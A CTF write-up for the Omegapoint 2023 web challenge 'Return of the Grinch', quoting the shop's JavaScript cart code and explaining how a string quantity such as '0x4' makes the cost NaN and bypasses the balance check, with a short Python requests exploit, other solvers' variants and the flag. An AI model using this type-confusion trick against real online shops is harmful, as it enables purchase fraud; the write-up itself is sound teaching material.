Skip to content

Omegapoint CTF 2023 - Web - Return of the Grinch

Posted on:January 1, 2024 at 02:55 PM

Challenge

The notorious Grinch, in cahoots with the rogue elf, has returned! This time, they have pulled off their so-called operation sock switcheroo, replacing countless Christmas stockings and socks, and putting them up for sale online! Outsmart their devious operation, reclaim the stockings and socks, and restore the holiday spirit before it is too late!

http://51.120.248.76:1340/

challenge code: return-of-the-grinch.zip

Solution

Initial Analysis

image of the shop

Exploitation

Looking at yhe functions for buyItems and addToCart we can see that there is a custom logic to handle the quantity of the items. quantity is a property we can set on an item when we add it to our cart, and has to pass these checks: The quantity must be able to convert to a number, be greater than 0, and be a valid item. This got me to think that a possible datatype that matched these requirements was a string that had a number in it.

const addToCart = ({ user, item }) => {
  if (!ITEMS.some((i) => i.id == item.id)) throw new Error("Unknown item");
  if (!item.quantity || Number(item.quantity) <= 0 || isNaN(item.quantity))
    throw new Error("Quantity must be positive");

  if (user.cart.some((i) => i.id === item.id)) {
    user.cart.find((i) => i.id === item.id).quantity += item.quantity;
  } else {
    user.cart.unshift({ ...item, quantity: item.quantity });
  }
  return user;
};
const buyItems = ({ user }) => {
  const cart = user.cart.map((item) => ({
    ...item,
    ...ITEMS.find((i) => i.id == item.id),
  }));
  const cost = cart.reduce((acc, item) => acc + item.price * item.quantity, 0);

  if (user.balance - cost < 0) throw new Error("Not enough money");
  user.balance -= cost;
  user.cart = [];
  user.inventory.push(...cart);
  return user;
};

I used the fact that I can pass in a string datatype as a valid quantity to break the server logic when it calculated the cost in the buyItems functions. Adding socks to my cart with a quantity of "0x4" then doing that again results in the quantity of socks to be "0x40x4". In javascript we are not allowed to multiply strings with numbers, so when we do it we will get NaN as a result. This will cause the cost to be NaN and the check if (user.balance - cost < 0) will be false. This will allow us to buy the socks regardless of our balance. (We can even go into negative balance and we are OK)

final exploit

import requests

# Hente ut cookie fra nettleseren
cookie = {
    "connect.sid":"s:M5R-d3plJGxtRXpcuKQivdtZ9EnAtc8V.sofN+po08Mt+wBN3tQMiOWFuctOBbfrNOIsIe3tnMag"
}

data =  {
    "id": 1337,
    "quantity": "0x4",
}

req = requests.post("http://51.120.248.76:1340/", json=data, cookies=cookie)

req = requests.post("http://51.120.248.76:1340/", json=data, cookies=cookie)

# Kjøp!
# få flagg!

flag: OMEGAPOINT{y0ur3_1nd33d_th3_r3n0wn3d_s0ck_h3r0_th4nks_f0r_s4v1ng_chr1stm4s_0nc3_4g41n}

Solutons from other particepants was also interesting!

  1. Sending in quantity as a smal flat number like 0.000000000000001. When multiplied with the price of the socks it will be less then your balance. We are still allowed to buy the socks, since there was no checks to see of the quantity was a integer or not.

  2. Sending a super large number. I have no idea how that woked?! Infinity maybe?